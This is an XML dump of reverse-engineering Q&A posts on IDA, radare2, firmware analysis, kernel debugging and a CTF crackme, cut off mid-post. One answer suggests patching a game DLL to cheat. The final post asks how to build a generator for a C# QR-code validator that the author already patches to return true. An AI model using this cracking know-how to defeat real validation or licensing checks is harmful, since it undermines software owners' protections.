  <row Id="16356" PostTypeId="2" ParentId="16354" CreationDate="2017-09-16T21:58:01.970" Score="1" Body="&lt;p&gt;The best way to find this URL is looking into EXE with disassembler like IDA(you can use free version for this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will disassemble EXE and then you can search for this string. If URL really isn't in the file, then you must locate function that is sending informations to the website. The best way is look for functions that are using Windows' network API. Then place some breakpoints to look what function is this one you are looking for. And now trace down the URL variable. Look where it came from, is it loaded from file, or registry, or anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you know where is the URL in-file you can change it with hex editor(if it is hardcoded, or change the file/registry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you need a basics of assembler to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or the fast(and not too good) way is to change hosts file :)&lt;/p&gt;&#xA;" OwnerUserId="18158" LastActivityDate="2017-09-16T21:58:01.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16357" PostTypeId="1" CreationDate="2017-09-16T21:58:46.167" Score="1" ViewCount="137" Body="&lt;p&gt;How do I debug a powermac application using gdbserver provided there is no gdbserver&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried compiling various version of gdb found in apple opensource -specifically the gdbserver part but it seems that the Apple developer never finished working on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I try using it it segment faults all over the place.&lt;/p&gt;&#xA;" OwnerUserId="14334" LastEditorUserId="14334" LastEditDate="2017-09-16T22:04:41.050" LastActivityDate="2017-10-17T20:33:43.333" Title="Powermac gdbserver wrapper/How to attach IDA to powermac application?" Tags="|ida|debugging|mach-o|powerpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16359" PostTypeId="2" ParentId="16355" CreationDate="2017-09-17T08:41:13.023" Score="7" Body="&lt;p&gt;Seems like &lt;code&gt;lscan&lt;/code&gt; is written to work with &lt;code&gt;IDA&lt;/code&gt;. However, &lt;code&gt;lscan&lt;/code&gt; is based on &lt;code&gt;FLIRT&lt;/code&gt; signature files which can be also read by radare2 (See the &lt;em&gt;Zignatures&lt;/em&gt; section of this answer). There are several things you can do with &lt;code&gt;radare2&lt;/code&gt; to achieve similar results:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Import IDA databases to radare2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can easily import IDC and IDB files from IDA to radare2 using a simple scripts which exists in &lt;a href=&quot;https://github.com/radare/radare2ida&quot; rel=&quot;noreferrer&quot;&gt;radare2ida&lt;/a&gt; repository.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This repository contains a collection of documents, scripts and&#xA;  utilities that will allow you to use IDA and R2, converting projects&#xA;  metadata from one tool to the other and providing tools to integrate&#xA;  them in a more useful way.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Export from IDA&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To export IDA database to IDC file click on &lt;code&gt;File &amp;gt;&amp;gt; Produce file &amp;gt;&amp;gt; Dump databse to IDC file...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save the current databse as an IDB file click &lt;code&gt;File &amp;gt;&amp;gt; Take database snapshot...&lt;/code&gt; or use the shortcut &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;W&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Import to Radare2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To import the IDC metadata to radare2 use &lt;a href=&quot;https://github.com/radare/radare2ida/blob/master/ida2r2/idc2r.py&quot; rel=&quot;noreferrer&quot;&gt;idc2r.py&lt;/a&gt; which shipped with &lt;code&gt;radare2ida&lt;/code&gt;:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idc2r.py file.idc &amp;gt; file.r2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The command reads an IDC file exported from an IDA Pro database and produces an r2 script containing the same comments, names of functions etc. You can import the resulting &lt;code&gt;file.r2&lt;/code&gt; by using the dot &lt;code&gt;.&lt;/code&gt; command of radare:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; . file.r2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;.&lt;/code&gt; command is used to interpret radare commands from external sources, including files and program output. For example, to omit generation of an intermediate file and import the script directly you can use this combination:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; .!idc2r.py &amp;lt; file.idc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Zignatures&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;radare2 has its own format of the signatures called &lt;code&gt;Zignatures&lt;/code&gt;, allowing to both load/apply and create signatures on the fly. They are available under the &lt;code&gt;z&lt;/code&gt; command namespace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; z?&#xA;|Usage: z[*j-aof/cs] [args] # Manage zignatures&#xA;| z            show zignatures&#xA;| z*           show zignatures in radare format&#xA;| zj           show zignatures in json format&#xA;| z-zignature  delete zignature&#xA;| z-*          delete all zignatures&#xA;| za[?]        add zignature&#xA;| zo[?]        manage zignature files&#xA;| zf[?]        manage FLIRT signatures&#xA;| z/[?]        search zignatures&#xA;| zc           check zignatures at address&#xA;| zs[?]        manage zignspaces&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;zf&lt;/code&gt; subcommands can be handy whenever you deal with FLIRT signatures. Therefore you can import FLIRT signatures from a file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; zf?&#xA;|Usage: zf[dsz] filename # Manage FLIRT signatures&#xA;| zfd filename  open FLIRT file and dump&#xA;| zfs filename  open FLIRT file and scan&#xA;| zfz filename  open FLIRT file and get sig commands (zfz flirt_file &amp;gt; zignatures.sig)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regardless of FLIRT, you can also use &lt;code&gt;zos [filename]&lt;/code&gt; from radare2 to dump signatures to a sdb file and &lt;code&gt;zo [filename]&lt;/code&gt; to load it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Source Code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As similar to &lt;code&gt;list&lt;/code&gt; command of &lt;code&gt;dgb&lt;/code&gt;, radare allows you to print lines from a source code file. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -m32 -g megabeets.c -o megabeets.bin&#xA;$ r2 megabeets.bin&#xA;[0x08048420]&amp;gt; aa&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[0x08048420]&amp;gt; s main&#xA;[0x080486cd]&amp;gt; CL&#xA;file .//megabeets.c&#xA;line 36&#xA;  022&#xA;  023  int main(int argc, char *argv[])&#xA;&amp;gt; 024  {&#xA;  025      char *input;&#xA;  026      puts(&quot;Megabeets\n&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;code&gt;C&lt;/code&gt; command is used to manage comments and data conversions. You&#xA;  can define a range of program's bytes to be interpreted as either&#xA;  code, binary data or string. It is also possible to execute external&#xA;  code at every specified flag location in order to fetch some metadata,&#xA;  such as a comment, from an external file or database.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To know more I recommend you to read:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/disassembling/adding_metadata.html&quot; rel=&quot;noreferrer&quot;&gt;Adding Metadata to Disassembly&lt;/a&gt; from radar2book &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/signatures/zignatures.html&quot; rel=&quot;noreferrer&quot;&gt;Zignatures&lt;/a&gt; chapter from radare2book&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://radare.today/posts/zignatures/&quot; rel=&quot;noreferrer&quot;&gt;This post&lt;/a&gt; about Zignatures&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/radare/radare2/blob/master/doc/flirt&quot; rel=&quot;noreferrer&quot;&gt;radare2 and flirt&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Maktm/FLIRTDB&quot; rel=&quot;noreferrer&quot;&gt;A community driven collection of IDA FLIRT signature files&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-09-17T08:41:13.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16361" PostTypeId="2" ParentId="16357" CreationDate="2017-09-17T20:07:59.530" Score="1" Body="&lt;p&gt;If you can run it in QEMU, you can try connecting to the QEMU's GDB stub. Note that this will provide you the CPU-level view, with the OS kernel included, so it may take some work to get to the app's code.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-17T20:07:59.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16362" PostTypeId="2" ParentId="16292" CreationDate="2017-09-17T20:24:32.137" Score="2" Body="&lt;p&gt;Unity games are scripted in C#. Check the &lt;code&gt;Managed&lt;/code&gt; folder in the APK file, patch &lt;code&gt;Assembly-CSharp.dll&lt;/code&gt; and enjoy your cheat until you get banned.&lt;/p&gt;&#xA;" OwnerUserId="4192" LastActivityDate="2017-09-17T20:24:32.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16363" PostTypeId="1" CreationDate="2017-09-17T22:15:30.067" Score="4" ViewCount="600" Body="&lt;p&gt;I'm reverse engineering an application which commonly adds &lt;code&gt;4.294967296e9&lt;/code&gt; to a double if the number is negative. Part of the disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, label_to_memory&#xA;fild    label_to_memory&#xA;test    eax, eax&#xA;jge     short some_label&#xA;fadd    ds:some_double_value&#xA;some_label:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I'm correct, it takes the jump if the highest bit isn't set, i.e. its a positive number. &lt;code&gt;some_double_value&lt;/code&gt; points to the constant &lt;code&gt;4.294967296e9&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand what the piece of code is doing I need to know why it adds this specific number, the only piece of Information I found was a line of code in &lt;a href=&quot;http://web.mit.edu/~mkgray/afs/bar/afs/net/project/attic/quipu/isode-8.0/others/ntp/ntpsubs.c&quot; rel=&quot;noreferrer&quot;&gt;http://web.mit.edu/~mkgray/afs/bar/afs/net/project/attic/quipu/isode-8.0/others/ntp/ntpsubs.c&lt;/a&gt; which says &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#ifdef  VAX_COMPILER_FLT_BUG&#xA;    if (b &amp;lt; 0.0) b += 4.294967296e9;&#xA;#endif&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what is the significance of that number?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional Info: The number can not be negative, so this can actually never happen.&lt;/p&gt;&#xA;" OwnerUserId="21642" LastEditorUserId="21642" LastEditDate="2017-09-17T22:21:23.143" LastActivityDate="2017-09-17T22:21:23.143" Title="What does adding 4.294967296e9 to a double do?" Tags="|disassembly|float|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16364" PostTypeId="2" ParentId="16363" CreationDate="2017-09-17T22:15:30.067" Score="10" Body="&lt;p&gt;I actually found the answer while writing this question!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This number is exactly &lt;code&gt;UINT_MAX + 1&lt;/code&gt;, stored as a double. So it seems this code converts a &lt;strong&gt;unsigned integer&lt;/strong&gt; to a double. The &lt;code&gt;fild&lt;/code&gt; instruction loads the 32 bit value as &lt;strong&gt;signed&lt;/strong&gt; value, after adding the max possible unsigned value + 1, the double contains the same value as the &lt;strong&gt;unsigned&lt;/strong&gt; integer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the compiler produced this probably automatically from something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned int num; // some arbitrary 32 bit unsigned number&#xA;double d = num;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since it took me some time to figure it out, I thought it may help someone else find the solution faster than me.&lt;/p&gt;&#xA;" OwnerUserId="21642" LastEditorUserId="21642" LastEditDate="2017-09-17T22:20:45.403" LastActivityDate="2017-09-17T22:20:45.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16366" PostTypeId="2" ParentId="16345" CreationDate="2017-09-18T07:44:54.203" Score="2" Body="&lt;p&gt;The answer is in your binwalk log several times:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;16140727      0xF649B7        eCos RTOS string reference: &quot;eCos&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This line means that your switch has an &lt;a href=&quot;https://en.wikipedia.org/wiki/ECos&quot; rel=&quot;nofollow noreferrer&quot;&gt;eCos&lt;/a&gt; RTOS (Real-Time Operating System), in which case you have only one binary file containing the OS and the application logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can continue the reversing process by finding out the start address (typically somewhere above &lt;code&gt;0x80000000&lt;/code&gt;) and loading the binary into your favorite disassembler as a binary file.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2017-09-18T07:44:54.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16367" PostTypeId="2" ParentId="3995" CreationDate="2017-09-18T12:48:18.123" Score="0" Body="&lt;p&gt;The immediate value is not checked by the CPU but may be checked by the exception handler, e.g. to distinguish between breakpoints inserted by the debugger from those added by the programmer/compiler. For example, the &lt;a href=&quot;http://www.keil.com/support/man/docs/ARMCC/armcc_pge1358787048379.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;ARM semihosting interface&lt;/a&gt; uses &lt;code&gt;BKPT 0xAB&lt;/code&gt; on ARMv7-M and presumably won't work with other immediates.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-18T12:48:18.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16372" PostTypeId="2" ParentId="14982" CreationDate="2017-09-19T13:12:38.663" Score="6" Body="&lt;p&gt;I am a developer of the Rockbox open-source project. We figured out the encryption of the firmware upgrade a look time ago by essentially doing the same thing (dumping the chip).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://git.rockbox.org/?p=rockbox.git;a=tree;f=utils/nwztools/upgtools;h=7c1fbeb3b31db2703f76baf09a93f0e3637d7728;hb=048aecd&quot; rel=&quot;noreferrer&quot; title=&quot;upgtool&quot;&gt;upgtool&lt;/a&gt; can extract the firmware from UPG tools, those can be extracted from the firmware upgrade installer using cabextract and looking at the file Data/Device/NW_WM_FW.UPG It requires an encryption key that can either be brute-forced (upgtool can do so if asked to [3]), or you can ask the device for the key using &lt;a href=&quot;https://git.rockbox.org/?p=rockbox.git;a=tree;f=utils/nwztools/scsitools;h=87d3a514466dfbaf22c2f8eea136d6f5bd30abee;hb=048aecd&quot; rel=&quot;noreferrer&quot; title=&quot;scsitool&quot;&gt;scsitool&lt;/a&gt;.&#xA;We have a port to a bunch of Sony devices, the NW-A820 will not be supported because it has a very old kernel but most of the information we reverse-engineered probably still applies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[3] upgtool has the key for the A820 in its database, it was found by brute force&lt;/p&gt;&#xA;" OwnerUserId="21661" LastActivityDate="2017-09-19T13:12:38.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16374" PostTypeId="1" AcceptedAnswerId="17565" CreationDate="2017-09-20T18:00:18.510" Score="4" ViewCount="648" Body="&lt;p&gt;My setup: Windows 10 with &lt;code&gt;windbg&lt;/code&gt; and target machine is Windows 7 N SP1. I'm debugging via com (i know it's slow ;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I get the process list with &lt;code&gt;!process&lt;/code&gt;, one active process is Internet Explorer: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt;!process 0 0&#xA;&#xA;&amp;gt;PROCESS fffffa8001a3db30&#xA;&amp;gt;SessionId: 2  Cid: 07e0    Peb: 7efdf000  ParentCid: 0a90&#xA;&amp;gt;DirBase: 2cc0a000  ObjectTable: fffff8a002007620  HandleCount: 561.&#xA;&amp;gt;&#xA;&amp;gt;Image: iexplore.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, I want to see in which mode the process is running. So I looked at the content of the PDE at the U/S flags. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !pte FFFFF6FB7EA00068&#xA;                                       VA fffff6fd4000d000&#xA;&amp;gt;PXE at FFFFF6FB7DBEDFA8    PPE at FFFFF6FB7DBF5000    PDE at FFFFF6FB7EA00068    PTE at FFFFF6FD4000D4D0&#xA;&amp;gt;contains 0000000004000863  contains 0000000004001863  contains 000000007FC009E3  contains 0000000000000000&#xA;&amp;gt;pfn 4000      ---DA--KWEV  pfn 4001      ---DA--KWEV  **pfn 7fc00     -GLDA--*K*WEV**  LARGE PAGE pfn 7fc9a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The usermode/kernelmode flag is set to K. That says, that iexplorer.exe is running in kernelmode. Why? I thought those aplications are running in usermode.&lt;/p&gt;&#xA;" OwnerUserId="21671" LastEditorUserId="18945" LastEditDate="2018-02-28T12:50:35.090" LastActivityDate="2018-03-01T04:41:20.947" Title="Kernel debug - internet explorer in kernelmode?" Tags="|windows|debugging|windbg|kernel-mode|kernel|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16376" PostTypeId="2" ParentId="16353" CreationDate="2017-09-21T00:57:44.193" Score="1" Body="&lt;p&gt;The app might not transfer all the data over HTTP(S), but could use TCP or UDP as well. Check &lt;a href=&quot;https://stackoverflow.com/questions/20132970/udp-packets-from-iphone-could-not-be-captured-in-charles-web-proxy-tool&quot;&gt;this answer&lt;/a&gt; to capture the traffic with Charles or use Wireshark.&lt;/p&gt;&#xA;" OwnerUserId="21363" LastActivityDate="2017-09-21T00:57:44.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16377" PostTypeId="1" AcceptedAnswerId="16387" CreationDate="2017-09-21T01:33:14.233" Score="3" ViewCount="2608" Body="&lt;p&gt;&lt;b&gt;I have an ELF executable I'm working on (got it from a previous CTF competition). The executable simply asks for a password, and then it prints out &quot;congrats&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The code snippets and my annotations are long, so I've included them in separate HTML links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://pastebin.com/BmUXfknt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Decompiled C-Code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B7z6YT7IIOZ6ci02NG5iRWxPQ2s/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF Executable&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;//Gives you an overview of what this program does in C.&#xA;int main(int argc, char ** argv)&#xA;{&#xA;    int32_t result; // success value&#xA;&#xA;&#xA;    if (argc &gt; 1)&#xA;    {&#xA;        setup(); //Allocates an integer array (g1)&#xA;&#xA;        int32_t v1 = 0; //counter&#xA;&#xA;        while (true)&#xA;        {&#xA;            char v2 = *(char *) (*(int32_t *) ((int32_t)argv + 4) + v1); &#xA;            int32_t v3 = *(int32_t *) (4 * v1 + (int32_t) &amp; g1);&#xA;&#xA;            int32_t v4 = v1 + 1; //index in g1 array&#xA;&#xA;            if (check( (int32_t *) v3, (int32_t) v2) != 0)&#xA;            {&#xA;                puts(&quot;Nope&quot;);&#xA;                return -1;&#xA;            }&#xA;            if (v4 &gt;= 31) //when we've reached our last index in array&#xA;            {&#xA;                break;&#xA;            }&#xA;            v1 = v4;&#xA;        }&#xA;        puts(&quot;congrats!&quot;);&#xA;        result = 0;&#xA;    }&#xA;    else&#xA;    {&#xA;        puts(&quot;usage ./smoothie &quot;);&#xA;        result = -1;&#xA;    }&#xA;    return result;&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've tried using GDB to debug through the program and IDA to understand the control-flow. My deduction ends up with 3 things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;setup() generates some sort of integer array&lt;/li&gt;&#xA;&lt;li&gt;check(int32_t * array, int * array) gets called 31 times to confirm our &quot;password&quot; as indicated by the possible while loop&lt;/li&gt;&#xA;&lt;li&gt;Inside check(...), it goes through each malloc'd array[5] and confirms each &quot;char&quot; of our password. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Here is IDA's control flow graph of check() (simple - 3 parts): &lt;/b&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HFjAR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HFjAR.png&quot; alt=&quot;First set of checks&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/rcvif.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rcvif.png&quot; alt=&quot;Possible calculations &amp;amp; 2nd set of checks&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ASxnP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ASxnP.png&quot; alt=&quot;Second set of checks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the control flow graph of check() &lt;em&gt;click to enlarge&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MePmp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MePmp.jpg&quot; alt=&quot;Graph of check() call&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The majority of check() compares * (array) for the upper half and * (array + 8) for the bottom half plus the passwordIndex comparison.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the main(int argc, char ** argv) of this program, there is a while loop that needs to be executed 31 times (the password is possibly 31 characters long). The while loop will exit if check() returns 1.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I think the middle section does some calculations (add, sub, cdq &amp;amp; idiv, imul, and xor) that might be useful towards knowing what to &lt;em&gt;pass&lt;/em&gt; as a password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please guide me in the right direction (with hints if you can). Debugging the program yourself might make my question more clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;False Lead&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In check(), I'm assuming that the first set of checks &quot;calculate&quot; the correct number that my input ascii should match (e.g. calculated 90, so index[i] should equal 'Z' ~ 90).&lt;/li&gt;&#xA;&lt;li&gt;In the second half of check it uses * (array + 8), so that means that its using the array's 3rd number for the 101, 142, ... , number comparisons. We could change the dereferenced value of * (array + 8) to the calculated number (90) to get to the final comparison.&lt;/li&gt;&#xA;&lt;li&gt;Once we reach the final comparison, it compares our input with the calculated number in the first set of checks, so 90 == 90. Since they are equal, the function returns 0 for success.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Despite any char input for the check(int32_t * array, (int32_t) input), the result will be the same regardless because of the pre-set values in the array. What can I do to correct this? &lt;/b&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user21677" LastEditorDisplayName="user21677" LastEditDate="2017-09-22T17:37:03.077" LastActivityDate="2017-09-22T17:37:03.077" Title="How do I approach this CTF Debugging Program?" Tags="|assembly|debugging|decompilation|c|elf|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16378" PostTypeId="2" ParentId="15459" CreationDate="2017-09-21T13:01:45.930" Score="1" Body="&lt;p&gt;I don't know if it applies exactly but the following &lt;a href=&quot;http://qnx.symmetry.com.au/resources/whitepapers/qnx_flash_memory_for_embedded_paper_RIM_MC411.65.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;document&lt;/a&gt; from QNX suggests that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;spare is made up of &quot;sequence #&quot;, &quot;file ID&quot;, &quot;offset&quot;, &quot;CRC&quot; and &quot;ECC&quot;&lt;/li&gt;&#xA;&lt;li&gt;there are special blocks that contains wear-levelling information such as bad blocks, erase count and file system hierarchy&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thus it is possible the information you are looking for is not in the spare area but there is a dedicated block. This &lt;a href=&quot;http://www.qnx.com/developers/docs/6.3.2/neutrino/sys_arch/fsys.html#ETFS&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt; suggests that could be the ETFS filesystem which is transaction based.&lt;/p&gt;&#xA;" OwnerUserId="21661" LastActivityDate="2017-09-21T13:01:45.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16379" PostTypeId="2" ParentId="16348" CreationDate="2017-09-21T13:44:08.337" Score="1" Body="&lt;p&gt;Reversing a USB protocol can be a daunting task but some tools can provide a lot of help. Wireshark understands the USB protocol and can help you make sense of some capture. I have only used on it Linux but the wiki provides &lt;a href=&quot;https://wiki.wireshark.org/CaptureSetup/USB&quot; rel=&quot;nofollow noreferrer&quot;&gt;instructions&lt;/a&gt; for Windows too. I suggest you always run Windows XP in the VM and capture on the host, it usually makes thing easier. You will need to familiar yourself with the USB protocol, &lt;a href=&quot;http://www.beyondlogic.org/usbnutshell/usb1.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;USB in Nutshell&lt;/a&gt; is a good place to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can try to directly capture the traffic at the COM port, see &lt;a href=&quot;https://ask.wireshark.org/questions/23243/how-do-you-capture-serial-com-communications&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt;. It should be much simpler assuming you can make it work because it will give you much more higher-level information.&lt;/p&gt;&#xA;" OwnerUserId="21661" LastActivityDate="2017-09-21T13:44:08.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16380" PostTypeId="1" AcceptedAnswerId="16381" CreationDate="2017-09-21T14:31:05.107" Score="1" ViewCount="210" Body="&lt;p&gt;I'm currently only patching this code to return true, do you guys have any idea of how I could start making a generator to make valid codes? I can't understand the logic here.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  public static bool ValidateQrCode(string code)&#xA;    {&#xA;        if (code.Substring(0, 2) != &quot;DC&quot;)&#xA;        {&#xA;            return false;&#xA;        }&#xA;        if (code.Length != 0x1a)&#xA;        {&#xA;            return false;&#xA;        }&#xA;        string s = code.Substring(2, 14);&#xA;        byte[] buffer1 = new SHA256Managed().ComputeHash(Encoding.UTF8.GetBytes(s));&#xA;        string str2 = ConvertToB36(Convert.ToInt32(buffer1[13])).PadLeft(2, '0');&#xA;        string str3 = ConvertToB36(Convert.ToInt32(buffer1[10])).PadLeft(2, '0');&#xA;        string str4 = ConvertToB36(Convert.ToInt32(buffer1[5])).PadLeft(2, '0');&#xA;        string str5 = ConvertToB36(Convert.ToInt32(buffer1[0x11])).PadLeft(2, '0');&#xA;        string str6 = ConvertToB36(Convert.ToInt32(buffer1[0x19])).PadLeft(2, '0');&#xA;        return ((((code.Substring(0x10, 2) == str2) &amp;amp;&amp;amp; (code.Substring(0x12, 2) == str3)) &amp;amp;&amp;amp; ((code.Substring(20, 2) == str4) &amp;amp;&amp;amp; (code.Substring(0x16, 2) == str5))) &amp;amp;&amp;amp; (code.Substring(0x18, 2) == str6));&#xA;    }&#xA;    public static string ConvertToB36(int value)&#xA;    {&#xA;        string str = &quot;&quot;;&#xA;        while (value &amp;gt; 0)&#xA;        {&#xA;            str = &quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;[value % 0x24].ToString() + str;&#xA;            value /= 0x24;&#xA;        }&#xA;        return str;&#xA;    